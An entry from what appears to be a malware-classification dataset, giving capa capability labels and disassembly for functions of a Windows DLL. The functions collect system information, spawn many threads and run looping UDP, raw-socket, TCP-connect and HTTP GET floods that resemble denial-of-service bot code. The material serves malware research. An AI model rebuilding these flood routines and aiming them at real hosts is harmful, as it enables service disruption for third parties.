joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004570
Capabilities:
Check os version
Get hostname
Get memory capacity

Disassembly:
sub esp, 0xe0
push ebx
mov ebx, dword [esp + 0xe8]
push edi
mov ecx, 0x32
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x4c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x4c]
mov dword [esp + 0x4c], 0x9c
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x100045cb
pop edi
pop ebx
add esp, 0xe0
ret
mov eax, dword [esp + 0x5c]
push esi
dec eax
je 0x10004636
dec eax
jne 0x1000467b
mov eax, dword [esp + 0x54]
cmp eax, 6
jne 0x100045ee
lea edx, [esp + 0x10]
mov edi, str.Win_Vista
jmp 0x1000465e
cmp eax, 5
jne 0x10004626
mov eax, dword [esp + 0x58]
cmp eax, 2
jne 0x10004607
lea edx, [esp + 0x10]
mov edi, str.Win_2003
jmp 0x1000465e
cmp eax, 1
jne 0x10004617
lea edx, [esp + 0x10]
mov edi, str.Win_XP
jmp 0x1000465e
test eax, eax
jne 0x1000467b
lea edx, [esp + 0x10]
mov edi, str.Win_2000
jmp 0x1000465e
cmp eax, 4
ja 0x1000467b
lea edx, [esp + 0x10]
mov edi, str.Win_NT
jmp 0x1000465e
cmp dword [esp + 0x54], 4
jne 0x1000467b
mov eax, dword [esp + 0x58]
test eax, eax
jne 0x10004650
lea edx, [esp + 0x10]
mov edi, str.Win_95
jmp 0x1000465e
cmp eax, 0xa
jne 0x1000467b
lea edx, [esp + 0x10]
mov edi, str.Win_98
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [esp + 0xe4]
mov ecx, dword [esp + 0x5c]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
and edx, 0xffff
push ecx
lea eax, [esp + 0x14]
push edx
push eax
lea ecx, [ebx + 0x60]
push str._s_SP_d__Build__d_
push ecx
call esi
add esp, 0x14
lea edx, [esp + 0x30]
mov dword [esp + 0x30], 0x20
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x38]
add ebx, 0x40
shr eax, 0x14
inc eax
push eax
push str._dMB
push ebx
call esi
add esp, 0xc
mov eax, 1
pop esi
pop edi
pop ebx
add esp, 0xe0
ret

Function at 0x10004b90
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x10004bbb
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005110
push 0
push 0
call ebx
dec edi
jne 0x10004ba7
pop ebx
pop edi
pop esi
ret 4

Function at 0x10004bc0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x10004beb
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100052d0
push 0
push 0
call ebx
dec edi
jne 0x10004bd7
pop ebx
pop edi
pop esi
ret 4
Function at 0x10004bf0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x10004c1b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100053c0
push 0
push 0
call ebx
dec edi
jne 0x10004c07
pop ebx
pop edi
pop esi
ret 4

Function at 0x10004c20
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x10004c4b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100054b0
push 0
push 0
call ebx
dec edi
jne 0x10004c37
pop ebx
pop edi
pop esi
ret 4

Function at 0x10004c50
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x10004c7b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100055c0
push 0
push 0
call ebx
dec edi
jne 0x10004c67
pop ebx
pop edi
pop esi
ret 4

Function at 0x10004c80
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x10004cab
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005690
push 0
push 0
call ebx
dec edi
jne 0x10004c97
pop ebx
pop edi
pop esi
ret 4

Function at 0x10004cb0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x10004cdb
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005780
push 0
push 0
call ebx
dec edi
jne 0x10004cc7
pop ebx
pop edi
pop esi
ret 4

Function at 0x10004ce0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
lea edi, [eax + eax]
test edi, edi
mov byte [esi + 4], 0
jle 0x10004d0e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100058b0
push 0
push 0
call ebx
dec edi
jne 0x10004cfa
pop ebx
pop edi
pop esi
ret 4

Function at 0x10004d20
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
lea edi, [eax + eax]
test edi, edi
mov byte [esi + 4], 0
jle 0x10004d4e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100059e0
push 0
push 0
call ebx
dec edi
jne 0x10004d3a
pop ebx
pop edi
pop esi
ret 4

Function at 0x10004d60
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
lea edi, [eax + eax]
test edi, edi
mov byte [esi + 4], 0
jle 0x10004d8e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005c10
push 0
push 0
call ebx
dec edi
jne 0x10004d7a
pop ebx
pop edi
pop esi
ret 4
Function at 0x10004da0
Capabilities:
Create thread

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
push esi
push edi
mov esi, ecx
lea edi, [edx + edx]
mov ecx, dword [esp + 0x14]
test edi, edi
mov byte [esi + 4], 0
mov dword [esi + 0xd4], eax
mov dword [esi + 0xd8], ecx
jle 0x10004de2
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005e80
push 0
push 0
call ebx
dec edi
jne 0x10004dce
pop ebx
pop edi
pop esi
ret 0xc
Function at 0x10005120
Capabilities:
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x1a4
push ebx
lea eax, [esp + 0x18]
push ebp
push eax
mov ebp, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
push 0
push 0
push 1
push 3
push 2
mov dword [esp + 0x20], 0x7d0
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10005166
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a4
ret
lea ecx, [esp + 8]
push 4
push ecx
push 0x1005
push 0xffff
push ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1000518e
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a4
ret
xor edx, edx
push esi
mov dword [esp + 0x10], edx
lea eax, [ebp + 5]
mov dword [esp + 0x14], edx
push edi
mov dword [esp + 0x1c], edx
push eax
mov ecx, ebp
mov dword [esp + 0x24], edx
mov word [esp + 0x18], 2
call fcn.10005f30
push 0x1000
push 8
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
push 0x1000
push esi
mov ecx, ebp
call fcn.10005260
mov al, byte [ebp + 4]
xor edi, edi
test al, al
jne 0x10005246
mov word [esi + 6], di
mov word [esi + 2], 0
inc edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1000
push esi
mov ecx, ebp
mov dword [esi + 8], eax
call fcn.10005ed0
lea ecx, [esp + 0x14]
push 0x10
push ecx
push 0
push 0x1000
push esi
push ebx
mov word [esi + 2], ax
call dword [sym.imp.WS2_32.dll_sendto]
cmp edi, 0xfffe
jl 0x10005237
mov edi, 1
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebp + 4]
test al, al
je 0x100051ef
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a4
ret

Function at 0x100052e0
Capabilities:
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov eax, 0x1140
call fcn.10006780
push ebx
lea eax, [esp + 0x14]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [esi + 0xd0]
xor ecx, ecx
mov dword [esp + 8], ecx
push edx
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
lea eax, [esi + 5]
push eax
mov ecx, esi
call fcn.10005f30
push 0x11
push 2
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov al, byte [esi + 4]
test al, al
jne 0x100053a8
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_sendto]
push edi
push 0xff
push 0
mov ecx, esi
call fcn.10005e90
mov cl, al
lea edi, [esp + 0x1b0]
mov ch, cl
lea edx, [esp + 0x10]
mov eax, ecx
push 0x10
shl eax, 0x10
mov ax, cx
mov ecx, 0x3e8
rep stosd dword es:[edi], eax
push edx
push 0
lea eax, [esp + 0x1bc]
push 0xfa0
push eax
push ebx
call ebp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi + 4]
test al, al
je 0x10005356
pop edi
pop ebp
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
mov eax, 1
pop ebx
add esp, 0x1140
ret
Function at 0x100053d0
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
sub esp, 0x3a0
push ebx
lea eax, [esp + 0x214]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [esi + 0xd0]
xor ecx, ecx
mov dword [esp + 8], ecx
push edx
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
lea eax, [esi + 5]
push eax
mov ecx, esi
call fcn.10005f30
push 0x11
push 2
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 8]
mov ebx, eax
push 0x10
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [esi + 4]
test al, al
jne 0x10005498
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_send]
push edi
push 0xff
push 0
mov ecx, esi
call fcn.10005e90
mov dl, al
lea edi, [esp + 0x20]
mov dh, dl
mov ecx, 0x80
mov eax, edx
push 0
shl eax, 0x10
mov ax, dx
push 0x200
rep stosd dword es:[edi], eax
lea eax, [esp + 0x28]
push eax
push ebx
call ebp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi + 4]
test al, al
je 0x10005453
pop edi
pop ebp
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
mov eax, 1
pop ebx
add esp, 0x3a0
ret

Function at 0x100054c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
sub esp, 0x5a0
push ebx
lea eax, [esp + 0x14]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [esi + 0xd0]
xor ecx, ecx
mov dword [esp + 8], ecx
push edx
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
lea eax, [esi + 5]
push eax
mov ecx, esi
call fcn.10005f30
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 8]
mov ebx, eax
push 0x10
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000554b
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
push edi
push 0xff
push 0
mov ecx, esi
call fcn.10005e90
mov dl, al
lea edi, [esp + 0x1ac]
mov dh, dl
mov ecx, 0x100
mov eax, edx
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
mov al, byte [esi + 4]
test al, al
jne 0x100055a6
mov edi, dword [sym.imp.WS2_32.dll_send]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [esp + 0x1b4]
push 0x400
push eax
push ebx
call edi
push 0xa
call ebp
mov al, byte [esi + 4]
test al, al
je 0x10005588
pop ebp
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x5a0
ret
Function at 0x100055d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
sub esp, 0x1a0
lea eax, [esp + 0x10]
push edi
push eax
mov edi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [edi + 0xd0]
xor ecx, ecx
mov dword [esp + 4], ecx
push edx
mov dword [esp + 0xc], ecx
mov word [esp + 8], 2
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [edi + 5]
push eax
mov ecx, edi
call fcn.10005f30
mov dword [esp + 8], eax
mov al, byte [edi + 4]
test al, al
jne 0x10005674
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_socket]
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_connect]
push esi
push 6
push 1
push 2
call ebx
lea ecx, [esp + 0x10]
mov esi, eax
push 0x10
push ecx
push esi
call ebp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, byte [edi + 4]
test al, al
je 0x1000563a
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 0x1a0
ret
mov eax, 1
pop edi
add esp, 0x1a0
ret

Function at 0x100056a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
sub esp, 0x4c4
push ebx
push ebp
push esi
lea eax, [esp + 0x20]
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esp + 0x28], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [esi + 0xd0]
xor ecx, ecx
mov dword [esp + 0x10], ecx
push edx
mov dword [esp + 0x18], ecx
mov word [esp + 0x14], 2
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esi + 5]
push eax
mov ecx, esi
call fcn.10005f30
mov ebp, dword [sym.imp.WS2_32.dll_socket]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x14], eax
lea esi, [esp + 0x1b4]
mov ebx, 0xc8
push 6
push 1
push 2
call ebp
lea ecx, [esp + 0x10]
push 0x10
push ecx
push eax
mov dword [esi], eax
call dword [sym.imp.WS2_32.dll_connect]
push 0xa
call edi
add esi, 4
dec ebx
jne 0x10005713
mov esi, dword [esp + 0x20]
mov al, byte [esi + 4]
test al, al
jne 0x1000574e
push 0x3e8
call edi
mov al, byte [esi + 4]
test al, al
je 0x10005740
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
lea esi, [esp + 0x1b4]
mov edi, 0xc8
mov edx, dword [esi]
push edx
call ebx
add esi, 4
dec edi
jne 0x10005760
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x4c4
ret
Function at 0x10005790
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x5a0
push ebx
push esi
lea eax, [esp + 0x418]
push edi
push eax
mov ebx, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [ebx + 0xd0]
xor ecx, ecx
mov dword [esp + 0xc], ecx
push edx
mov dword [esp + 0x14], ecx
mov word [esp + 0x10], 2
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
call dword [sym.imp.WS2_32.dll_htons]
lea esi, [ebx + 5]
mov ecx, ebx
push esi
mov word [esp + 0x12], ax
call fcn.10005f30
mov dword [esp + 0x10], eax
mov al, byte [0x1000f980]
mov byte [esp + 0x1c], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x1d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebx + 0xd0]
cmp eax, 0x50
jne 0x10005823
push esi
lea ecx, [esp + 0x20]
push str.GET___HTTP_1.1_r_nHost:__s_r_n_r_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x10005838
push eax
push esi
lea edx, [esp + 0x24]
push str.GET___HTTP_1.1_r_nHost:__s:_d_r_n_r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov al, byte [ebx + 4]
test al, al
jne 0x100058a1
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_socket]
push 6
push 1
push 2
call ebp
mov esi, eax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x28]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebx + 4]
test al, al
je 0x10005846
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
Function at 0x100058c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x5a0
push ebx
push esi
lea eax, [esp + 0x418]
push edi
push eax
mov ebx, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [ebx + 0xd0]
xor ecx, ecx
mov dword [esp + 0xc], ecx
push edx
mov dword [esp + 0x14], ecx
mov word [esp + 0x10], 2
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
call dword [sym.imp.WS2_32.dll_htons]
lea esi, [ebx + 5]
mov ecx, ebx
push esi
mov word [esp + 0x12], ax
call fcn.10005f30
mov dword [esp + 0x10], eax
mov al, byte [0x1000f980]
mov byte [esp + 0x1c], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x1d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebx + 0xd0]
cmp eax, 0x50
jne 0x10005953
push esi
lea ecx, [esp + 0x20]
push str.GET___HTTP_1.1_r_nHost:__s_r_nCache_Control:_no_cache_r_nConnection:_Close_r_n_r_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x10005968
push eax
push esi
lea edx, [esp + 0x24]
push str.GET___HTTP_1.1_r_nHost:__s:_d_r_nCache_Control:_no_cache_r_nConnection:_Close_r_n_r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov al, byte [ebx + 4]
test al, al
jne 0x100059d1
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_socket]
push 6
push 1
push 2
call ebp
mov esi, eax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x28]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebx + 4]
test al, al
je 0x10005976
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
Function at 0x10005f30
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x10005f56
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10005f4f
pop esi
ret 4
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret 4

Function at 0x10005fb0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 0x28], 0
jle 0x10005fdb
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100061f0
push 0
push 0
call ebx
dec edi
jne 0x10005fc7
pop ebx
pop edi
pop esi
ret 4
Function at 0x10005ff0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x2c8
push ebp
push esi
lea eax, [esp + 0x140]
push edi
push eax
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dx, word [esi + 0x24]
xor ecx, ecx
mov dword [esp + 0x1c], ecx
push edx
mov dword [esp + 0x24], ecx
mov ebp, eax
mov dword [esp + 0x28], ecx
mov word [esp + 0x20], 2
mov dword [esp + 0x2c], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
lea eax, [esi + 4]
push eax
mov ecx, esi
call fcn.10005f30
push 0x40c
mov dword [esp + 0x24], eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov edx, eax
mov ecx, 0x103
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [edx + 4], 0x7d1
mov dword [esp + 0x30], ecx
lea edi, [esp + 0x48]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0x38], ecx
xor edx, edx
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x40], ecx
add esp, 4
mov word [esp + 0x40], cx
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov ecx, 0x20
lea edi, [esp + 0xc4]
rep stosd dword es:[edi], eax
mov al, byte [esi + 0x28]
mov dword [esp + 0x14], edx
test al, al
mov word [esp + 0x18], dx
jne 0x100061d3
push ebx
push 0x14
mov ecx, esi
call fcn.10006200
mov ebx, eax
cmp ebx, 5
jl 0x100060c5
xor edi, edi
test ebx, ebx
jle 0x100060f3
push 0x24
mov ecx, esi
call fcn.10006200
mov al, byte [eax + str.0123456789abcdefghijklmnopqrstuvwxyz]
mov byte [esp + edi + 0x30], al
inc edi
cmp edi, ebx
jl 0x100060db
xor edi, edi
push 0x24
mov ecx, esi
call fcn.10006200
mov cl, byte [eax + str.0123456789abcdefghijklmnopqrstuvwxyz]
mov byte [esp + edi + 0x14], cl
inc edi
cmp edi, 9
jl 0x100060f5
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x30]
push eax
lea edi, [edx + 0xc]
push ecx
push str._s__s
push edi
call ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
push 0
not ecx
add ecx, 0xb
push edx
push ecx
push eax
mov ecx, esi
call fcn.10006230
lea ecx, [esp + 0x48]
lea edx, [esp + 0xc8]
push ecx
push str.0_s_
push edx
call ebx
add esp, 0xc
lea eax, [esp + 0x20]
push 0x10
push eax
push ebp
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x100061b1
lea edi, [esp + 0xc8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
push ecx
lea ecx, [esp + 0xd0]
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100061b8
push 0
lea edx, [esp + 0x4c]
push 0x80
push edx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, byte [esi + 0x28]
test al, al
je 0x100060c5
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x2c8
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x2c8
ret